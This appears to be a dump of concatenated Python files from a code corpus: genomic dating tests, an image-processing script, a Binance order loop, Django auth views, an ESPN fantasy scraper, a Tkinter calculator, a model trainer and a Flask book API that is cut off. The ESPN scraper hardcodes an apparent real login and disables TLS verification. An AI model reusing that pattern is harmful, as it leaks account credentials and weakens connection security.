FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\"\"\"\nTest cases for the python API for tsdate.\n\"\"\"\nimport unittest\n\nimport numpy as np\nimport tskit\nimport msprime\nimport tsinfer\n\nimport tsdate\nfrom tests import utility_functions\nfrom tsdate.base import LOG, LIN\n\n\nclass TestPrebuilt(unittest.TestCase):\n \"\"\"\n Tests for tsdate on prebuilt tree sequences\n \"\"\"\n def test_dangling_failure(self):\n ts = utility_functions.single_tree_ts_n2_dangling()\n self.assertRaisesRegexp(ValueError, \"dangling\", tsdate.date, ts, Ne=1)\n\n def test_unary_warning(self):\n with self.assertLogs(level=\"WARNING\") as log:\n tsdate.date(utility_functions.single_tree_ts_with_unary(), Ne=1)\n self.assertEqual(len(log.output), 1)\n self.assertIn(\"unary nodes\", log.output[0])\n\n def test_fails_with_recombination(self):\n ts = utility_functions.two_tree_mutation_ts()\n for probability_space in (LOG, LIN):\n self.assertRaises(\n NotImplementedError, tsdate.date, ts, Ne=1, recombination_rate=1,\n probability_space=probability_space)\n self.assertRaises(\n NotImplementedError, tsdate.date, ts, Ne=1, recombination_rate=1,\n probability_space=probability_space, mutation_rate=1)\n\n def test_intervals(self):\n ts = utility_functions.two_tree_ts()\n long_ts = utility_functions.two_tree_ts_extra_length()\n keep_ts = long_ts.keep_intervals([[0., 1.]])\n delete_ts = long_ts.delete_intervals([[1., 1.5]])\n dated_ts = tsdate.date(ts, Ne=1)\n dated_keep_ts = tsdate.date(keep_ts, Ne=1)\n dated_deleted_ts = tsdate.date(delete_ts, Ne=1)\n self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n dated_keep_ts.tables.nodes.time[:]))\n self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n dated_deleted_ts.tables.nodes.time[:]))\n\n# def test_simple_ts_n2(self):\n# ts = utility_functions.single_tree_ts_n2()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.array_equal(dated_ts.tables.nodes.time[:],\n# np.array([0., 0., 0.01])))\n\n# def test_simple_ts_n3(self):\n# ts = utility_functions.single_tree_ts_n3()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n# np.array([0.00000000e+00, 0.00000000e+00,\n# 0.00000000e+00, 1.00000000e-02,\n# 3.44872693e+03])))\n\n# def test_simple_ts_n4(self):\n# ts = utility_functions.single_tree_ts_n4()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n# np.array([0.00000000e+00, 0.00000000e+00,\n# 0.00000000e+00, 0.00000000e+00,\n# 1.00000000e-02, 2.59235395e+03,\n# 6.04463820e+03])))\n\n# def test_polytomy_ts(self):\n# ts = utility_functions.polytomy_tree_ts()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.array_equal(dated_ts.tables.nodes.time[:],\n# np.array([0., 0., 0., 0.01])))\n\n# def test_two_tree_ts(self):\n# ts = utility_functions.two_tree_ts()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n# np.array([0.00000000e+00, 0.00000000e+00,\n# 0.00000000e+00, 1.00000000e-02,\n# 3.44872693e+03, 8.58901551e+03])))\n\n# def test_single_tree_ts_unary(self):\n# ts = utility_functions.single_tree_ts_with_unary()\n# dated_ts = tsdate.date(ts, Ne=10000)\n# self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n# np.array([0.00000000e+00, 0.00000000e+00,\n# 0.00000000e+00, 1.00000000e-02,\n# 3.44872693e+03, 1.09851474e+04,\n# 1.09851574e+04])))\n\n# def test_two_tree_mutation_ts(self):\n# ts = utility_functions.two_tree_mutation_ts()\n# dated_ts = tsdate.date(ts, Ne=10000, mutation_rate=1e-8)\n# self.assertTrue(np.allclose(dated_ts.tables.nodes.time[:],\n# np.array([0.00000000e+00, 0.00000000e+00,\n# 0.00000000e+00, 1.00000000e-02,\n# 3.44863243e+03, 1.63560039e+04])))\n\n\nclass TestSimulated(unittest.TestCase):\n \"\"\"\n Tests for tsdate on simulated tree sequences.\n \"\"\"\n def ts_equal_except_times(self, ts1, ts2):\n for (t1_name, t1), (t2_name, t2) in zip(ts1.tables, ts2.tables):\n if isinstance(t1, tskit.ProvenanceTable):\n # TO DO - should check that the provenance has had the \"tsdate\" method\n # added\n pass\n elif isinstance(t1, tskit.NodeTable):\n for column_name in t1.column_names:\n if column_name != 'time':\n col_t1 = getattr(t1, column_name)\n col_t2 = getattr(t2, column_name)\n self.assertTrue(np.array_equal(col_t1, col_t2))\n elif isinstance(t1, tskit.EdgeTable):\n # Edges may have been re-ordered, since sortedness requirements specify\n # they are sorted by parent time, and the relative order of\n # (unconnected) parent nodes might have changed due to time inference\n self.assertEquals(set(t1), set(t2))\n else:\n self.assertEquals(t1, t2)\n\n def test_simple_sim_1_tree(self):\n ts = msprime.simulate(8, mutation_rate=5, random_seed=2)\n max_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=5, method=\"maximization\")\n self.ts_equal_except_times(ts, max_dated_ts)\n io_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=5)\n self.ts_equal_except_times(ts, io_dated_ts)\n\n def test_simple_sim_multi_tree(self):\n ts = msprime.simulate(8, mutation_rate=5, recombination_rate=5, random_seed=2)\n self.assertGreater(ts.num_trees, 1)\n max_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=5, method=\"maximization\")\n self.ts_equal_except_times(ts, max_dated_ts)\n io_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=5)\n self.ts_equal_except_times(ts, io_dated_ts)\n\n def test_simple_sim_larger_example(self):\n # This makes ~1700 trees, and previously caused a failure\n ts = msprime.simulate(\n sample_size=10, length=2e6, Ne=10000, mutation_rate=1e-8,\n recombination_rate=1e-8, random_seed=11)\n io_ts = tsdate.date(ts, Ne=10000, mutation_rate=1e-8)\n maximized_ts = tsdate.date(ts, Ne=10000, mutation_rate=1e-8,\n method='maximization')\n self.ts_equal_except_times(ts, io_ts)\n self.ts_equal_except_times(ts, maximized_ts)\n\n def test_linear_space(self):\n # This makes ~1700 trees, and previously caused a failure\n ts = msprime.simulate(\n sample_size=10, length=2e6, Ne=10000, mutation_rate=1e-8,\n recombination_rate=1e-8, random_seed=11)\n priors = tsdate.build_prior_grid(ts, timepoints=10, approximate_priors=None)\n dated_ts = tsdate.date(ts, Ne=10000, mutation_rate=1e-8, priors=priors,\n probability_space=LIN)\n maximized_ts = tsdate.date(ts, Ne=10000, mutation_rate=1e-8, priors=priors,\n method='maximization', probability_space=LIN)\n self.ts_equal_except_times(ts, dated_ts)\n self.ts_equal_except_times(ts, maximized_ts)\n\n def test_with_unary(self):\n ts = msprime.simulate(\n 8, mutation_rate=10, recombination_rate=10,\n record_full_arg=True, random_seed=12)\n max_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=10, method=\"maximization\")\n self.ts_equal_except_times(ts, max_dated_ts)\n io_dated_ts = tsdate.date(ts, Ne=1, mutation_rate=10)\n self.ts_equal_except_times(ts, io_dated_ts)\n\n def test_fails_multi_root(self):\n ts = msprime.simulate(8, mutation_rate=2, random_seed=2)\n tree = ts.first()\n tables = ts.dump_tables()\n tables.edges.clear()\n internal_edge_removed = False\n for row in ts.tables.edges:\n if row.parent not in tree.roots and row.child not in ts.samples():\n if not internal_edge_removed:\n continue\n tables.edges.add_row(*row)\n multiroot_ts = tables.tree_sequence()\n good_priors = tsdate.build_prior_grid(ts)\n self.assertRaises(ValueError, tsdate.build_prior_grid, multiroot_ts)\n self.assertRaises(ValueError, tsdate.date, multiroot_ts, 1, 2)\n self.assertRaises(ValueError, tsdate.date, multiroot_ts, 1, 2, None, good_priors)\n\n def test_non_contemporaneous(self):\n samples = [\n msprime.Sample(population=0, time=0),\n msprime.Sample(population=0, time=0),\n msprime.Sample(population=0, time=0),\n msprime.Sample(population=0, time=1.0)\n ]\n ts = msprime.simulate(samples=samples, Ne=1, mutation_rate=2)\n self.assertRaises(NotImplementedError, tsdate.date, ts, 1, 2)\n\n @unittest.skip(\"YAN to fix\")\n def test_truncated_ts(self):\n Ne = 1e2\n mu = 2e-4\n ts = msprime.simulate(\n 10, Ne=Ne, length=400, recombination_rate=1e-4, mutation_rate=mu,\n random_seed=12)\n truncated_ts = utility_functions.truncate_ts_samples(\n ts, average_span=200, random_seed=123)\n dated_ts = tsdate.date(truncated_ts, Ne=Ne, mutation_rate=mu)\n # We should ideally test whether *haplotypes* are the same here\n # in case allele encoding has changed. But haplotypes() doesn't currently\n # deal with missing data\n self.ts_equal_except_times(truncated_ts, dated_ts)\n\n\nclass TestInferred(unittest.TestCase):\n \"\"\"\n Tests for tsdate on simulated then inferred tree sequences.\n \"\"\"\n\n def test_simple_sim_1_tree(self):\n ts = msprime.simulate(8, mutation_rate=5, random_seed=2)\n for use_times in [True, False]:\n sample_data = tsinfer.SampleData.from_tree_sequence(ts, use_times=use_times)\n inferred_ts = tsinfer.infer(sample_data)\n max_dated_ts = tsdate.date(inferred_ts, Ne=1, mutation_rate=5,\n method=\"maximization\")\n self.assertTrue(\n all([a == b for a, b in zip(ts.haplotypes(),\n max_dated_ts.haplotypes())]))\n io_dated_ts = tsdate.date(inferred_ts, Ne=1, mutation_rate=5)\n self.assertTrue(\n all([a == b for a, b in zip(ts.haplotypes(), io_dated_ts.haplotypes())]))\n\n def test_simple_sim_multi_tree(self):\n ts = msprime.simulate(8, mutation_rate=5, recombination_rate=5, random_seed=2)\n self.assertGreater(ts.num_trees, 1)\n for use_times in [True, False]:\n sample_data = tsinfer.SampleData.from_tree_sequence(ts, use_times=use_times)\n inferred_ts = tsinfer.infer(sample_data)\n max_dated_ts = tsdate.date(inferred_ts, Ne=1, mutation_rate=5,\n method=\"maximization\")\n self.assertTrue(\n all([a == b for a, b in zip(ts.haplotypes(),\n max_dated_ts.haplotypes())]))\n io_dated_ts = tsdate.date(inferred_ts, Ne=1, mutation_rate=5)\n self.assertTrue(\n all([a == b for a, b in zip(ts.haplotypes(), io_dated_ts.haplotypes())]))\n","sub_path":"tests/test_inference.py","file_name":"test_inference.py","file_ext":"py","file_size_in_byte":13050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"553519249","text":"import os\nimport glob\nimport torch\nimport numpy\nimport PIL\nfrom run import estimate\n\ndef main():\n davis_folder = '/media/iiai/data/VOS/DAVIS2017/JPEGImages/480p'\n save_dir = '/media/iiai/data/VOS/DAVIS2017/davis2017-hed'\n\n videos = os.listdir(davis_folder)\n print(videos)\n\n for idx, video in enumerate(videos):\n print('process {}[{}/{}]'.format(video, idx, len(videos)))\n save_dir_video = os.path.join(save_dir, video)\n if not os.path.exists(save_dir_video):\n os.makedirs(save_dir_video)\n\n imagefiles = sorted(glob.glob(os.path.join(davis_folder, video, '*.jpg')))\n\n for imagefile in imagefiles:\n tensorInput = torch.FloatTensor(numpy.array(PIL.Image.open(imagefile))[:, :, ::-1].transpose(2, 0, 1).astype(numpy.float32) * (1.0 / 255.0))\n\n tensorOutput = estimate(tensorInput)\n\n save_name = os.path.basename(imagefile)\n save_file = os.path.join(save_dir_video, save_name)\n PIL.Image.fromarray(\n (tensorOutput.clamp(0.0, 1.0).numpy().transpose(1, 2, 0)[:, :, 0] * 255.0).astype(numpy.uint8)).save(\n save_file)\n\nmain()\n","sub_path":"3rdparty/run_davis.py","file_name":"run_davis.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"528008185","text":"#!/usr/bin/env python\n\nimport time\nfrom binance.spot import Spot as Client\n\nkey = ''\nsecret = ''\n\n# For testnet\n# client = Client(key, secret, base_url='https://testnet.binance.vision')\n\n# For production\nclient = Client(key, secret)\n\nsymbol = 'BTCUSDT'\n\nwhile True:\n # Post a new order\n params = {\n 'symbol': symbol,\n 'side': 'BUY',\n 'type': 'LIMIT_MAKER',\n 'quantity': 0.002,\n 'price': 9000\n }\n\n response = client.new_order(**params)\n print(\"order created with order ID: {}\".format(response['orderId']))\n\n # Cancel the order\n response = client.cancel_order(symbol, orderId=response['orderId'])\n\n print(\"order cancelled for : {}\".format(response['orderId']))\n time.sleep(1)\n","sub_path":"spot/place_order.py","file_name":"place_order.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"356911127","text":"import pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom django.contrib.auth import authenticate, login\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.http import HttpResponse, JsonResponse, HttpResponseRedirect\nfrom django.contrib.auth import authenticate, login, get_user_model, logout\nfrom django.contrib.sites.shortcuts import get_current_site\n\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMessage\nfrom django.core import mail\nfrom django.utils.html import strip_tags\n\nfrom mywealthanalyst_django.settings import BASE_DIR\nfrom .models import MWA_usermodel\nfrom .forms import UserLoginForm, RegistrationForm\nfrom .tokens import account_activation_token\n\n\n# Create your views here.\n\n\ndef register_view(request):\n if request.method == 'POST':\n form = RegistrationForm(request.POST or None)\n if form.is_valid():\n\n user = form.save(commit=False)\n user.activated = False\n\n user.save()\n current_site = get_current_site(request)\n mail_subject = 'Activate your mywealthanalyst account.'\n html_message = render_to_string('MWA_users/confirmation_email.html', {\n 'user': user,\n 'domain': current_site.domain,\n # .decode(),\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'token': account_activation_token.make_token(user),\n })\n plain_message = strip_tags(html_message)\n from_email = 'mywealthanalyst '\n to_email = [form.cleaned_data.get('email')]\n\n mail.send_mail(mail_subject, plain_message, from_email,\n to_email, html_message=html_message)\n\n return(render(request, \"MWA_users/please_confirm_email.html\"))\n else:\n form = RegistrationForm()\n\n return(render(request, \"MWA_users/register.html\", {'form': form}))\n\n\ndef activate(request, uidb64, token):\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = MWA_usermodel.objects.get(pk=uid)\n except(TypeError, ValueError, OverflowError, MWA_usermodel.DoesNotExist):\n user = None\n if user is not None and account_activation_token.check_token(user, token):\n user.activated = True\n user.save()\n login(request, user)\n return(render(request, \"MWA_users/email_confirmed.html\"))\n else:\n return(render(request, \"MWA_users/email_invalid.html\"))\n\n\ndef login_view(request):\n if request.method == 'POST':\n form = UserLoginForm(request.POST or None)\n if form.is_valid():\n user_obj = form.cleaned_data.get('user_obj')\n login(request, user_obj)\n return(HttpResponseRedirect(reverse('dashboard')))\n else:\n form = UserLoginForm()\n\n return(render(request, \"MWA_users/login.html\", {'form': form}))\n\n\ndef logout_view(request):\n logout(request)\n return(HttpResponseRedirect(reverse('login')))\n","sub_path":"mywealthanalyst_django/MWA_users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294951718","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport pylab as plt\n\nclass Bar:\n def __init__(self, x_list, y_list):\n \"\"\"コンストラクタ\"\"\"\n self.x_list = x_list\n self.y_list = y_list\n\n def plot(self):\n \"\"\"プロット\"\"\"\n #plot(x, y, linewidth=1)で,線色を設定。\n plt.bar(self.x_list, self.y_list)\n\n #plotした関数を表示する。\n plt.show()\n\n\nif __name__ == '__main__':\n # テストデータ\n x = np.array([1, 2, 3, 4, 5])\n y = np.array([100, 200, 300, 400, 500])\n\n # プロットを描く\n bar = Bar(x, y)\n bar.plot()\n","sub_path":"src/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"375018934","text":"#-------------------------------------------\n# IMPORTS\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nimport sys\nimport logging\nimport datetime\nimport re\n#-------------------------------------------\n#-------------------------------------------\n\n\n#-------------------------------------------\n# CONSTANTS & GLOBALS\nsession = None\nLOGIN_URL = '''https://r.espn.go.com/members/util/loginUser'''\nFORM_DATA = {\n \"language\":\"en\",\n \"affiliateName\":\"espn_fantgames\",\n \"registrationFormId\":\"espn_flb\",\n \"username\": \"indian4life7\", #raw_input(\"Enter ESPN username: \"),\n \"password\": \"amodio\" #raw_input(\"Enter ESPN password: \")\n }\n\n\n\n#-------------------------------------------\n#-------------------------------------------\n\n\n#-------------------------------------------\n#-------------------------------------------\n# CLASSES\n#-------------------------------------------\n#-------------------------------------------\n\n\n#-------------------------------------------\n#-------------------------------------------\n# METHODS\ndef scrapeForStartLimit(league, matchupPeriodId):\n global session\n\n session = requests.Session()\n r = session.post(LOGIN_URL, data=FORM_DATA, verify=False)\n \n if league == 'AL':\n\n URL_SCOREBOARD = \"http://games.espn.go.com/flb/scoreboard?leagueId=11050&matchupPeriodId=\" + str(matchupPeriodId)\n elif league == 'NL':\n\n URL_SCOREBOARD = \"http://games.espn.go.com/flb/scoreboard?leagueId=11179&matchupPeriodId=\" + str(matchupPeriodId)\n else:\n \n raise Exception(\"Expected argument 'AL' or 'NL' and got {0}\".format( league ) )\n\n result = session.get(URL_SCOREBOARD)\n text = result.text\n soup = BeautifulSoup(text)\n\n\n matchupLinks = []\n for findLinks in soup.find_all(\"div\", class_=\"boxscoreLinks\"):\n for child in findLinks.children:\n if 'attrs' in dir(child) and 'href' in child.attrs:\n link = \"http://games.espn.go.com\" + child.attrs['href']\n matchupLinks.append( link )\n break\n else:\n raise Exception( \"There is no link to the matchups for week \" + str(matchupPeriodId) + \"!\" )\n \n\n return matchupLinks\n \n\ndef checkStartLimit(league, matchupPeriodId):\n returnList = []\n\n matchupLinks = scrapeForStartLimit(league, matchupPeriodId)\n\n for matchupLink in matchupLinks:\n result = session.get(matchupLink)\n text = result.text\n soup = BeautifulSoup(text)\n\n owners = [x.text for x in soup.find_all('div', class_=\"teamInfoOwnerData\")]\n\n starts = [ x.parent.text.strip().split('/') for x in soup.find_all('span', id=re.compile(r'.*weekpace.*')) ]\n\n for i in range(1):\n if int(starts[i][0]) > int(starts[i][1]):\n returnList.append( owners[i] )\n\n return returnList\n\n#-------------------------------------------\n#-------------------------------------------\n\n\n#-------------------------------------------\n#-------------------------------------------\n# MAIN\ndef main():\n pass\n#-------------------------------------------\n#-------------------------------------------\n\nif __name__ == \"__main__\":\n main()","sub_path":"scrape_for_start_limit.py","file_name":"scrape_for_start_limit.py","file_ext":"py","file_size_in_byte":3179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"322103477","text":"#__author__ = \"Andry Bratun\"\r\n\r\nfrom tkinter import *\r\nimport math as m\r\n\r\ndef solver(a,b):\r\n \"\"\" Solves quadratic equation and returns the result in formatted string \"\"\"\r\n resultB = 1\r\n resultC = 1\r\n\r\n i = int(1)\r\n CheckPar = float(0)\r\n if b > 0:\r\n while i <= b:\r\n resultB = resultB+a**i\r\n CheckPar = m.fmod(i,2)\r\n if CheckPar != 0:\r\n resultC = resultC-a**i\r\n else:\r\n resultC = resultC+a**i\r\n i += 1\r\n else:\r\n text = 'Ви ввели неправильне число N'\r\n return text\r\n text1 = \"B = %.2f \\n\" % resultB\r\n text2 = \"C = %.2f \\n\" % resultC\r\n return text1 + text2\r\n\r\n\r\ndef inserter(value):\r\n \"\"\" Inserts specified value into text widget \"\"\"\r\n output.delete(\"0.0\",\"end\")\r\n output.insert(\"0.0\",value)\r\n\r\ndef clear(event):\r\n \"\"\" Clears entry form \"\"\"\r\n caller = event.widget\r\n caller.delete(\"0\", \"end\")\r\n\r\ndef handler():\r\n \"\"\" Get the content of entries and passes result to the text \"\"\"\r\n try:\r\n # make sure that we entered correct values\r\n a_val = float(a.get())\r\n b_val = int(b.get())\r\n inserter(solver(a_val, b_val,))\r\n except (ValueError, TypeError):\r\n inserter(\"Будь ласка введіть 2 числа \\n де А дійсне , N ціле\")\r\n\r\nroot = Tk()\r\nroot.title(\"Progression by A.B.\")\r\nroot.minsize(325,230)\r\nroot.resizable(width=False, height=False)\r\n\r\n\r\nframe = Frame(root)\r\nframe.grid()\r\n\r\na = Entry(frame, width=3)\r\na.grid(row=1,column=2,padx=(10,0))\r\na.bind(\"\", clear)\r\na_lab = Label(frame, text=\"A =\").grid(row=1,column=1)\r\n\r\nb = Entry(frame, width=3)\r\nb.bind(\"\", clear)\r\nb.grid(row=1,column=4)\r\nb_lab = Label(frame, text=\"N =\").grid(row=1, column=3)\r\n\r\nbut = Button(frame, text=\"Рахуй!\", command=handler).grid(row=1, column=7, padx=(10,0))\r\n\r\noutput = Text(frame, bg=\"lightblue\", font=\"Arial 12\", width=35, height=10)\r\noutput.grid(row=2, columnspan=8)\r\n\r\nroot.mainloop()\r\n","sub_path":"I семестр/Програмування (Python)/Лабораторні/Братун 6305/Labs/LABA2/GUI_Q3.py","file_name":"GUI_Q3.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11988617","text":"import numpy as np\nfrom functools import reduce\nfrom copy import deepcopy\n\nfrom LCTM import ssvm\nfrom LCTM import utils\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef pretrain_weights(model, X, Y):\n # Take mean of all potentials\n n_samples = len(X)\n\n # Compute potential costs for each (correct) labeling\n costs = [ssvm.compute_costs(model, X[i], Y[i]) for i in range(n_samples)]\n costs = reduce(lambda x,y: x + y, costs)\n for key in costs:\n norms = np.linalg.norm(costs[key])\n # norms[norms==0] = 1\n costs[key] /= norms\n\n model.ws = costs\n\n\ndef subgradient_descent(\n model, X, Y, n_iter=100, C=1., pretrain=True, verbose=False,\n gradient_method=\"adagrad\", learning_rate=0.1, decay_rate=.99, batch_size=5,\n update_period=25):\n\n if model.debug:\n np.random.seed(1234)\n\n n_samples = len(X)\n\n # Check that Xi is of size FxT\n # FIXME: This is probably a bug\n # if X[0].shape[0] > X[0].shape[1]:\n if X[0].shape[0] > X[0].shape[0]:\n X = [x.T for x in X]\n\n # if weights haven't been set yet then initialize\n if model.n_classes is None:\n model.n_features = X[0].shape[0]\n model.n_classes = np.max(list(map(np.max, Y))) + 1\n model.max_segs = utils.max_seg_count(Y)\n model.ws.init_weights(model)\n\n if pretrain:\n if model.is_latent:\n Z = [\n utils.partition_latent_labels(Y[i], model.n_latent)\n for i in range(n_samples)\n ]\n pretrain_weights(model, X, Z)\n else:\n pretrain_weights(model, X, Y)\n\n costs_truth = [ssvm.compute_costs(model, X[i], Y[i]) for i in range(n_samples)]\n # print(\"Unaries costs\", [c['unary'].sum() for c in costs_truth])\n cache = deepcopy(costs_truth[0]) * 0.\n\n for t in range(n_iter):\n if gradient_method == \"full gradient\":\n batch_samples = np.arange(0, n_samples)\n batch_size = n_samples\n else:\n batch_samples = np.random.randint(0, n_samples, batch_size)\n\n # Compute gradient\n j = batch_samples[0]\n x = X[j]\n y = Y[j]\n costs = costs_truth[j]\n w_diff = ssvm.compute_ssvm_gradient(model, x, y, costs, C)\n for j in batch_samples[1:]:\n x = X[j]\n y = Y[j]\n costs = costs_truth[j]\n sample_grad = ssvm.compute_ssvm_gradient(model, x, y, costs, C)\n w_diff += sample_grad\n w_diff /= batch_size\n\n # === Weight Update ===\n # Vanilla SGD\n if gradient_method == \"sgd\" or gradient_method == \"full gradient\":\n eta = learning_rate * (1 - t / n_iter)\n w_diff = w_diff * eta\n # Adagrad\n elif gradient_method == \"adagrad\":\n cache += w_diff * w_diff\n w_diff = w_diff / (cache + 1e-8).sqrt() * learning_rate\n # RMSProp\n elif gradient_method == \"rmsprop\":\n # cache = decay_rate*cache + (1-decay_rate)*w_diff.^2\n if t == 0:\n cache += w_diff * w_diff\n else:\n cache *= decay_rate\n cache += w_diff * w_diff * (1 - decay_rate)\n w_diff = w_diff / np.sqrt(cache + 1e-8) * learning_rate\n\n model.ws -= w_diff\n\n # Print and compute objective\n if not (t + 1) % update_period:\n objective_new = np.mean(\n [model.objective(model.predict(X[i]), Y[i]) for i in batch_samples]\n )\n model.logger.objectives[t + 1] = objective_new\n if verbose:\n logger.info(\"Iter {}, obj={}\".format(t + 1, objective_new))\n","sub_path":"LCTM/learn.py","file_name":"learn.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651613294","text":"# So in the last video, we finished implementing the PUT request and allow users to\n# fully replace a book given a ISBN number. We also handled what happens if the user enters\n# an invalid input.\n\n# In this video, we will go ahead and handle the case where a client only\n# wants to update a certain attribute and not have them send all book properties back to us.\n\nfrom flask import Flask, jsonify, request, Response\nimport json\napp = Flask(__name__)\n\nbooks = [\n\t{\n\t\t'name': 'A',\n\t\t'price': 7.99,\n\t\t'isbn': 9780394800165\n\t},\n\t{\n\t\t'name': 'B',\n\t\t'price': 6.99,\n\t\t'isbn': 9792371000193\n\t},\n\t{\n\t\t'name': 'C',\n\t\t'price': 7.99,\n\t\t'isbn': 9800394800165\n\t},\n\t{\n\t\t'name': 'D',\n\t\t'price': 6.99,\n\t\t'isbn': 9812371000193\n\t},\n\t{\n\t\t'name': 'E',\n\t\t'price': 7.99,\n\t\t'isbn': 9820394800165\n\t},\n\t{\n\t\t'name': 'F',\n\t\t'price': 6.99,\n\t\t'isbn': 9832371000193\n\t},\n\t{\n\t\t'name': 'G',\n\t\t'price': 7.99,\n\t\t'isbn': 9840394800165\n\t},\n\t{\n\t\t'name': 'H',\n\t\t'price': 6.99,\n\t\t'isbn': 9852371000193\n\t},\n\t{\n\t\t'name': 'I',\n\t\t'price': 7.99,\n\t\t'isbn': 9860394800165\n\t},\n\t{\n\t\t'name': 'K',\n\t\t'price': 6.99,\n\t\t'isbn': 9872371000193\n\t},\n\t{\n\t\t'name': 'L',\n\t\t'price': 7.99,\n\t\t'isbn': 9880394800165\n\t},\n\t{\n\t\t'name': 'M',\n\t\t'price': 6.99,\n\t\t'isbn': 9892371000193\n\t},\n\t{\n\t\t'name': 'N',\n\t\t'price': 7.99,\n\t\t'isbn': 9900394800165\n\t},\n\t{\n\t\t'name': 'O',\n\t\t'price': 6.99,\n\t\t'isbn': 9912371000193\n\t},\n\t{\n\t\t'name': 'P',\n\t\t'price': 7.99,\n\t\t'isbn': 9920394800165\n\t},\n\t{\n\t\t'name': 'Q',\n\t\t'price': 6.99,\n\t\t'isbn': 9932371000193\n\t},\n\t{\n\t\t'name': 'R',\n\t\t'price': 7.99,\n\t\t'isbn': 9940394800165\n\t},\n\t{\n\t\t'name': 'S',\n\t\t'price': 6.99,\n\t\t'isbn': 9952371000193\n\t}\n]\n\nDEFAULT_PAGE_LIMIT = 3;\n\n#GET /books\n@app.route('/books')\ndef get_books():\n \treturn jsonify({'books': books})\n\n@app.route('/books/')\ndef get_book_by_isbn(isbn):\n\treturn_value = {}\n\tfor book in books:\n\t if book[\"isbn\"] == isbn:\n\t \treturn_value = {\n\t\t\t'name': book[\"name\"],\n\t\t\t'price': book[\"price\"]\n\t\t}\n\treturn jsonify(return_value)\n\n#GET /books/page/\n@app.route('/books/page/')\ndef get_paginated_books(page_number):\n\tprint(type(request.args.get('limit')))\n\tLIMIT = request.args.get('limit', DEFAULT_PAGE_LIMIT, int)\n\treturn jsonify({'books': books[page_number*LIMIT-LIMIT:page_number*LIMIT]})\n\n\ndef validBookObject(bookObject):\n\tif (\"name\" in bookObject and \"price\" in bookObject and \"isbn\" in bookObject):\n\t\treturn True\n\telse:\n\t\treturn False\n\n#POST /books\n@app.route('/books', methods=['POST'])\ndef add_book():\n\trequest_data = request.get_json()\n\tif(validBookObject(request_data)):\n\t\tnew_book = {\n\t\t\t\"name\": request_data['name'],\n\t\t\t\"price\": request_data['price'],\n\t\t\t\"isbn\": request_data['isbn']\n\t\t}\n\t\tbooks.insert(0, new_book)\n\t\tresponse = Response(\"\", status=201, mimetype='application/json')\n\t\tresponse.headers['Location'] = \"/books/\" + str(new_book['isbn'])\n\t\treturn response\n\telse:\n\t\tinvalidBookObjectErrorMsg = {\n\t\t\t\"error\": \"Invalid book object passed in request\",\n\t\t\t\"helpString\": \"Data passed in similar to this {'name': 'bookname', 'price': 7.99, 'isbn': 9780394800165 }\"\n\t\t}\n\t\tresponse = Response(json.dumps(invalidBookObjectErrorMsg), status=400, mimetype='application/json')\n\t\treturn response;\n\n\ndef valid_put_request_data(request_data):\n\tif(\"name\" in request_data and \"price\" in request_data):\n\t\treturn True;\n\telse:\n\t\treturn False;\n\n#PUT /books/page/\n@app.route('/books/', methods=['PUT'])\ndef replace_book(isbn):\n\trequest_data = request.get_json()\n\tif(not valid_put_request_data(request_data)):\n\t\tinvalidBookObjectErrorMsg = {\n\t\t\t\"error\": \"Invalid book object passed in request\",\n\t\t\t\"helpString\": \"Data should be passed in similar to this {'name': 'bookname', 'price': 7.99 }\"\n\t\t}\n\t\tresponse = Response(json.dumps(invalidBookObjectErrorMsg), status=400, mimetype='application/json')\n\t\treturn response\n\n\tnew_book = {\n\t\t'name': request_data['name'],\n\t\t'price': 